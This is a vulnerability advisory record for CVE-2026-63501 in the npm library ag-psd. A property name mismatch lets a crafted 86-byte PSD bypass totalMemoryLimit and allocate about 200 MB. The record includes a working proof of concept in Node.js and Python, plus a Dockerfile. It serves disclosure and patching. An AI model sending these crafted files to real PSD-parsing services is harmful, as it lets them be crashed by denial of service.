{"id":"CVE-2026-63501","aliases":["GHSA-6w3r-6hpr-hp6p"],"url":"https://o3.security/vulnerability/CVE-2026-63501","summary":"ag-psd: Uncontrolled Memory Allocation in PSD Layer Decoding (totalMemoryLimit bypass)","details":"### Summary\nThe `readPsd()` function in `ag-psd` accepts a `totalMemoryLimit` option to cap memory usage when parsing untrusted PSD files, but this limit is never forwarded to the layer image buffer allocation path. A property name mismatch (`totalMemoryLimit` vs. `memoryLimit`) causes the size guard inside `createImageDataBitDepth` to be skipped unconditionally. An attacker who can supply a crafted PSD to any application using `ag-psd` for server-side parsing can force an unbounded heap allocation — a 5000×5000 layer in a 86-byte file allocates 200 MB — leading to denial of service through process memory exhaustion regardless of what limit the caller specified.\n\n### Details\n`readPsd()` (exported from `src/index.ts:22`) wraps caller-supplied bytes in a `PsdReader` object that inherits `ReadOptions`, which defines `totalMemoryLimit?: number` (`src/psd.ts:1819`). A default of 2 GB is written into the reader at `src/psdReader.ts:237`.\n\nWhen the parser reaches a layer, it calls `decodeLayerImageData(layer, reader)` at `src/psdReader.ts:568-569`, passing the `reader` object directly as the second argument. The `decodeLayerImageData` function signature is:\n\n```ts\n// src/psdReader.ts:639-642\nfunction decodeLayerImageData(layer: Layer, options: {\n    useImageData?: boolean,\n    throwForMissingFeatures?: boolean,\n    memoryLimit?: number   // ← expects \"memoryLimit\", not \"totalMemoryLimit\"\n}) {\n    const imageData = getDataFromLayer(layer, ..., options.memoryLimit);\n```\n\nBecause `reader` has `totalMemoryLimit` but not `memoryLimit`, `options.memoryLimit` evaluates to `undefined`. This value is passed down to `createImageDataBitDepth` at `src/psdReader.ts:684`:\n\n```ts\n// src/psdReader.ts:671-684\nconst layerWidth  = (layer.right  || 0) - (layer.left || 0);\nconst layerHeight = (layer.bottom || 0) - (layer.top  || 0);\n// ...\nimageData = createImageDataBitDepth(layerWidth, layerHeight, bitsPerChannel, 4, memoryLimit);\n```\n\nInside `createImageDataBitDepth`, the size guard at `src/psdReader.ts:861-864` is:\n\n```ts\nconst sizeInBytes = width * height * channels * Math.max(1, bitDepth / 8);\nif (memoryLimit !== undefined && sizeInBytes > memoryLimit) throw new Error('Exceeded memory limit');\n```\n\nBecause `memoryLimit` is `undefined`, the condition is always false. The allocation proceeds unconditionally at `src/psdReader.ts:872`:\n\n```ts\nreturn new Uint16Array(width * height * channels);   // attacker-controlled size\n```\n\nA secondary unbounded allocation exists at `src/psdReader.ts:1138-1139`, where `inflateSync(compressed)` decompresses ZIP-encoded channel data without any cap on the output size, enabling a similar DoS via ZIP bomb payloads.\n\n### PoC\n\n**Environment setup**\n\n```bash\n# Clone and build ag-psd at the affected commit\ngit clone https://github.com/Agamnentzar/ag-psd.git\ncd ag-psd\ngit checkout e64f0c96a5b8f9ea7c79599d08bbcfc57345b781\nnpm ci\nnpm run build\n```\n\n**Build and run with Docker (self-contained)**\n\n```bash\n# From the report directory (containing vuln-001/ and repo/)\ndocker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile .\ndocker run --rm -e APP_DIR=/app -e RESULT_DIR=/tmp ag-psd-vuln-001\n```\n\n**Manual reproduction (Node.js inline)**\n\n```js\n// save as exploit.js and run: node exploit.js\nrequire('./initialize-canvas');\nconst { readPsd } = require('./dist');\n\nconst u16 = n => { const b = Buffer.alloc(2); b.writeUInt16BE(n); return b; };\nconst i16 = n => { const b = Buffer.alloc(2); b.writeInt16BE(n); return b; };\nconst u32 = n => { const b = Buffer.alloc(4); b.writeUInt32BE(n); return b; };\nconst i32 = n => { const b = Buffer.alloc(4); b.writeInt32BE(n); return b; };\nconst sec = (buf, r = 1) => Buffer.concat([u32(buf.length), buf, Buffer.alloc((r - buf.length % r) % r)]);\n\nconst w = 5000, h = 5000;\n// Layer record: top=0, left=0, bottom=5000, right=5000, 0 channels, blending info, extra=0\nconst layer = Buffer.concat([\n    i32(0), i32(0), i32(h), i32(w),\n    u16(0),\n    Buffer.from('8BIMnorm'),\n    Buffer.from([255, 0, 0, 0]),\n    u32(0),\n]);\n// PSD header: sig, version=1, reserved, channels=3, height=1, width=1, depth=16, colorMode=RGB\nconst psd = Buffer.concat([\n    Buffer.from('8BPS'), u16(1), Buffer.alloc(6),\n    u16(3), u32(1), u32(1), u16(16), u16(3),\n    sec(Buffer.alloc(0)),              // ColorModeData\n    sec(Buffer.alloc(0)),              // ImageResources\n    sec(sec(Buffer.concat([i16(1), layer]), 2)),  // LayerAndMaskInfo\n    u16(0), Buffer.alloc(6),           // ImageData (raw, minimal)\n]);\n\nconst before = process.memoryUsage();\nconst out = readPsd(psd, { useImageData: true, totalMemoryLimit: 1024 });\nconst after = process.memoryUsage();\n\nconsole.log('PSD_BYTES=' + psd.length);                                      // 86\nconsole.log('LAYER_IMAGE_BYTES=' + out.children[0].imageData.data.byteLength); // 200000000\nconsole.log('ARRAYBUFFER_DELTA=' + (after.arrayBuffers - before.arrayBuffers)); // 200000000\n```\n\n**Expected output**\n\n```\nPSD_BYTES=86\nTOTAL_MEMORY_LIMIT_OPTION=1024\nLAYER_IMAGE_BYTES=200000000\nARRAYBUFFER_DELTA=200000000\nRSS_BEFORE_KB=55052\nRSS_AFTER_KB=250508\nVULN_001_EXPLOITED=true\nPASS: totalMemoryLimit=1024 was bypassed; allocated 200000000 bytes in a single layer image buffer\n```\n\nA 1 KB `totalMemoryLimit` is completely ignored; a 190 MB buffer is allocated from an 86-byte PSD file.\n\n### Impact\n\nThis is a Denial of Service (DoS) vulnerability. Any application that uses `ag-psd` to parse PSD files supplied by external users — such as web services offering PSD preview, conversion, or editing — is vulnerable. An unauthenticated remote attacker can send a single crafted PSD file (as small as 86 bytes) to exhaust process heap memory, causing the Node.js process to crash or be killed by the OS OOM killer. The `totalMemoryLimit` option, which is the only documented defense against this class of attack, is silently non-functional due to the property name mismatch. No authentication, credentials, or special privileges are required. The bug lies on the default parser path and is triggered whenever layer decoding is enabled (the default).\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-bullseye-slim\n\n# Install build dependencies for native canvas module\nRUN apt-get update && apt-get install -y \\\n    python3 \\\n    make \\\n    g++ \\\n    pkg-config \\\n    libcairo2-dev \\\n    libpango1.0-dev \\\n    libjpeg-dev \\\n    libgif-dev \\\n    librsvg2-dev \\\n    && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the ag-psd repository\nCOPY repo/ /app/\n\n# Install dependencies and build TypeScript\nRUN npm ci && npm run build\n\n# Copy the PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\n# Install Python 3 (already available in bullseye)\nRUN python3 --version\n\n# Default command: run the PoC\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Uncontrolled Memory Allocation in ag-psd PSD Layer Decoding\n(CWE-770 / totalMemoryLimit bypass via property name mismatch)\n\nAttack summary:\n  readPsd(buffer, { totalMemoryLimit: 1024 }) is called with a 1 KB limit.\n  Internally, decodeLayerImageData(layer, reader) is called where `reader`\n  carries `totalMemoryLimit` but the function expects `memoryLimit`.\n  Because options.memoryLimit === undefined the size check is bypassed and a\n  5000x5000x4-channel Uint16Array (200 MB) is allocated from an 86-byte PSD.\n\"\"\"\n\nimport struct\nimport subprocess\nimport sys\nimport os\nimport json\n\n# ---------------------------------------------------------------------------\n# Build a minimal valid 16-bit PSD with one 5000x5000 layer\n# ---------------------------------------------------------------------------\n\ndef u16be(n: int) -> bytes:\n    return struct.pack(\">H\", n)\n\ndef i16be(n: int) -> bytes:\n    return struct.pack(\">h\", n)\n\ndef u32be(n: int) -> bytes:\n    return struct.pack(\">I\", n)\n\ndef i32be(n: int) -> bytes:\n    return struct.pack(\">i\", n)\n\ndef length_prefixed(data: bytes, align: int = 1) -> bytes:\n    \"\"\"Encode as 4-byte-length-prefixed section, padded to alignment.\"\"\"\n    pad = (align - len(data) % align) % align\n    return u32be(len(data)) + data + b\"\\x00\" * pad\n\ndef build_psd(width: int = 5000, height: int = 5000) -> bytes:\n    \"\"\"\n    Build the smallest PSD that triggers the vulnerability:\n    - 16-bit depth (bitsPerChannel=16) forces Uint16Array allocation\n    - layer bounds set to [top=0, left=0, bottom=height, right=width]\n    - totalMemoryLimit: 1024 bytes in readPsd options will be bypassed\n\n    Resulting allocation: width * height * 4 channels * 2 bytes = 200 MB\n    \"\"\"\n    # Layer record (28 bytes header + name/blending/channel-info)\n    layer_record = b\"\".join([\n        i32be(0),            # top\n        i32be(0),            # left\n        i32be(height),       # bottom\n        i32be(width),        # right\n        u16be(0),            # channel count = 0 (no raw channel data needed\n                             # to trigger allocation — createImageDataBitDepth\n                             # is called based on dimensions alone)\n        # Blending range: signature + mode\n        b\"8BIM\",\n        b\"norm\",\n        # Opacity, clipping, flags, filler\n        bytes([255, 0, 0, 0]),\n        # Extra data length = 0\n        u32be(0),\n    ])\n\n    # Layer info section: layer count (signed i16) + layer record\n    layer_info_inner = i16be(1) + layer_record\n    layer_info = length_prefixed(layer_info_inner, 2)\n\n    # Sections: ColorModeData, ImageResources, LayerAndMaskInfo, ImageData\n    color_mode_data  = length_prefixed(b\"\")\n    image_resources  = length_prefixed(b\"\")\n    layer_mask_info  = length_prefixed(layer_info)\n    image_data       = u16be(0) + b\"\\x00\" * 6   # compression=raw + minimal data\n\n    # PSD file header: magic, version=1, reserved, channels, height, width,\n    #                  bitsPerChannel=16, colorMode=3 (RGB)\n    header = b\"8BPS\" + u16be(1) + b\"\\x00\" * 6 + u16be(3) + u32be(1) + u32be(1) + u16be(16) + u16be(3)\n\n    psd = header + color_mode_data + image_resources + layer_mask_info + image_data\n    return psd\n\n\n# ---------------------------------------------------------------------------\n# Node.js script that calls readPsd and reports memory usage\n# ---------------------------------------------------------------------------\n\nNODE_SCRIPT = r\"\"\"\n'use strict';\nconst APP_DIR = process.env.APP_DIR || '/app';\ntry { require(APP_DIR + '/dist/initializeCanvas.js'); } catch(e) {}\n\nconst { readPsd } = require(APP_DIR + '/dist/index.js');\nconst fs = require('fs');\n\n// Read PSD bytes from stdin\nconst psd = fs.readFileSync('/tmp/poc.psd');\n\nconst before = process.memoryUsage();\n\nlet result;\ntry {\n    result = readPsd(psd, { useImageData: true, totalMemoryLimit: 1024 });\n} catch (err) {\n    process.stderr.write('ERROR: ' + err.message + '\\n');\n    process.exit(2);\n}\n\nconst after = process.memoryUsage();\n\nconst layer = result && result.children && result.children[0];\nconst layerBytes = (layer && layer.imageData && layer.imageData.data)\n    ? layer.imageData.data.byteLength\n    : 0;\n\nconst delta = after.arrayBuffers - before.arrayBuffers;\n\nconsole.log('PSD_BYTES=' + psd.length);\nconsole.log('TOTAL_MEMORY_LIMIT_OPTION=1024');\nconsole.log('LAYER_IMAGE_BYTES=' + layerBytes);\nconsole.log('ARRAYBUFFER_DELTA=' + delta);\nconsole.log('RSS_BEFORE_KB=' + Math.round(before.rss / 1024));\nconsole.log('RSS_AFTER_KB='  + Math.round(after.rss  / 1024));\n\n// Verdict\nconst exploited = layerBytes >= 100_000_000 || delta >= 100_000_000;\nconsole.log('VULN_001_EXPLOITED=' + exploited);\nif (!exploited) {\n    process.stderr.write('FAIL: memory limit was NOT bypassed (layerBytes=' + layerBytes + ', delta=' + delta + ')\\n');\n    process.exit(1);\n}\nconsole.log('PASS: totalMemoryLimit=1024 was bypassed; allocated ' + layerBytes + ' bytes in a single layer image buffer');\nprocess.exit(0);\n\"\"\"\n\n\ndef main():\n    print(\"[*] VULN-001 PoC — ag-psd CWE-770 totalMemoryLimit bypass\")\n    print(\"[*] Building crafted PSD (5000x5000 16-bit layer, no raw channel data)...\")\n\n    psd_bytes = build_psd(5000, 5000)\n    poc_psd_path = \"/tmp/poc.psd\"\n    node_script_path = \"/tmp/poc_runner.js\"\n\n    with open(poc_psd_path, \"wb\") as f:\n        f.write(psd_bytes)\n    print(f\"[*] PSD written to {poc_psd_path} ({len(psd_bytes)} bytes)\")\n\n    with open(node_script_path, \"w\") as f:\n        f.write(NODE_SCRIPT)\n    print(f\"[*] Node.js runner written to {node_script_path}\")\n\n    # Run from /app where the ag-psd repo was built\n    app_dir = os.environ.get(\"APP_DIR\", \"/app\")\n    print(f\"[*] Running Node.js PoC from {app_dir} ...\")\n\n    try:\n        proc = subprocess.run(\n            [\"node\", node_script_path],\n            capture_output=True,\n            text=True,\n            timeout=60,\n            cwd=app_dir,\n        )\n    except subprocess.TimeoutExpired:\n        print(\"[-] Node.js process timed out (possible OOM or hang)\")\n        sys.exit(1)\n\n    stdout = proc.stdout.strip()\n    stderr = proc.stderr.strip()\n\n    print(\"\\n--- Node.js stdout ---\")\n    print(stdout or \"(empty)\")\n    if stderr:\n        print(\"--- Node.js stderr ---\")\n        print(stderr)\n    print(\"--- Exit code:\", proc.returncode, \"---\\n\")\n\n    # Parse key-value output lines\n    kv = {}\n    for line in stdout.splitlines():\n        if \"=\" in line:\n            k, _, v = line.partition(\"=\")\n            kv[k.strip()] = v.strip()\n\n    exploited = kv.get(\"VULN_001_EXPLOITED\", \"false\").lower() == \"true\"\n    layer_bytes = int(kv.get(\"LAYER_IMAGE_BYTES\", \"0\"))\n    psd_bytes_reported = int(kv.get(\"PSD_BYTES\", \"0\"))\n    memory_limit = int(kv.get(\"TOTAL_MEMORY_LIMIT_OPTION\", \"0\"))\n    delta = int(kv.get(\"ARRAYBUFFER_DELTA\", \"0\"))\n\n    print(\"=== VULNERABILITY ASSESSMENT ===\")\n    print(f\"  PSD input size         : {psd_bytes_reported} bytes\")\n    print(f\"  totalMemoryLimit option: {memory_limit} bytes (1 KB)\")\n    print(f\"  Layer image buffer     : {layer_bytes:,} bytes ({layer_bytes // 1024 // 1024} MB)\")\n    print(f\"  ArrayBuffer delta      : {delta:,} bytes\")\n    print(f\"  Limit bypassed         : {'YES — VULNERABLE' if exploited else 'NO — limit was enforced'}\")\n\n    if not exploited:\n        print(\"\\n[FAIL] Exploitation did not succeed.\")\n        result = {\n            \"passed\": False,\n            \"verdict\": \"FAIL\",\n            \"reason\": \"PoC 실행에서 메모리 제한 우회가 관측되지 않음. totalMemoryLimit이 예상과 달리 적용된 것으로 보임.\",\n            \"build_command\": \"docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile .\",\n            \"run_command\": \"docker run --rm ag-psd-vuln-001\",\n            \"poc_command\": \"python3 poc.py\",\n            \"evidence\": stdout + (\"\\n\" + stderr if stderr else \"\"),\n            \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n        }\n    else:\n        print(\"\\n[PASS] VULN-001 confirmed: totalMemoryLimit=1024 was bypassed.\")\n        print(f\"       Allocated {layer_bytes // 1_000_000} MB from a {psd_bytes_reported}-byte PSD.\")\n        result = {\n            \"passed\": True,\n            \"verdict\": \"PASS\",\n            \"reason\": (\n                f\"totalMemoryLimit=1024(1KB) 옵션이 설정되었음에도 {layer_bytes:,}바이트({layer_bytes // 1_000_000}MB)의 레이어 이미지 버퍼가 할당됨. \"\n                f\"decodeLayerImageData(layer, reader)에서 reader.totalMemoryLimit이 options.memoryLimit으로 전달되지 않아 \"\n                f\"createImageDataBitDepth 내부의 사이즈 검사가 완전히 우회되는 것이 컨테이너 실행에서 관측적으로 확인됨.\"\n            ),\n            \"build_command\": \"docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile .\",\n            \"run_command\": \"docker run --rm ag-psd-vuln-001\",\n            \"poc_command\": \"python3 poc.py\",\n            \"evidence\": stdout,\n            \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n        }\n\n    result_path = os.path.join(\n        os.environ.get(\"RESULT_DIR\", \"/tmp\"), \"phase2_result.json\"\n    )\n    with open(result_path, \"w\", encoding=\"utf-8\") as f:\n        json.dump(result, f, ensure_ascii=False, indent=2)\n    print(f\"\\n[*] Result written to {result_path}\")\n\n    sys.exit(0 if exploited else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","published":"2026-11-03T19:30:03.984Z","modified":"2026-11-05T03:30:32.398230230Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"ag-psd","fixedVersion":"31.0.1"}],"fix":{"url":"https://github.com/Agamnentzar/ag-psd/commit/57ea7d865238b6b7c8a2e976bcf2a77e03116e2f","label":"Agamnentzar/ag-psd@57ea7d8"},"references":[{"type":"WEB","url":"https://github.com/Agamnentzar/ag-psd/releases/tag/31.0.3"},{"type":"ADVISORY","url":"https://github.com/Agamnentzar/ag-psd/security/advisories/GHSA-6w3r-6hpr-hp6p"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63501.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63501"},{"type":"FIX","url":"https://github.com/Agamnentzar/ag-psd/commit/57ea7d865238b6b7c8a2e976bcf2a77e03116e2f"},{"type":"PACKAGE","url":"https://github.com/Agamnentzar/ag-psd"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-05T03:30:32.398230230Z"}}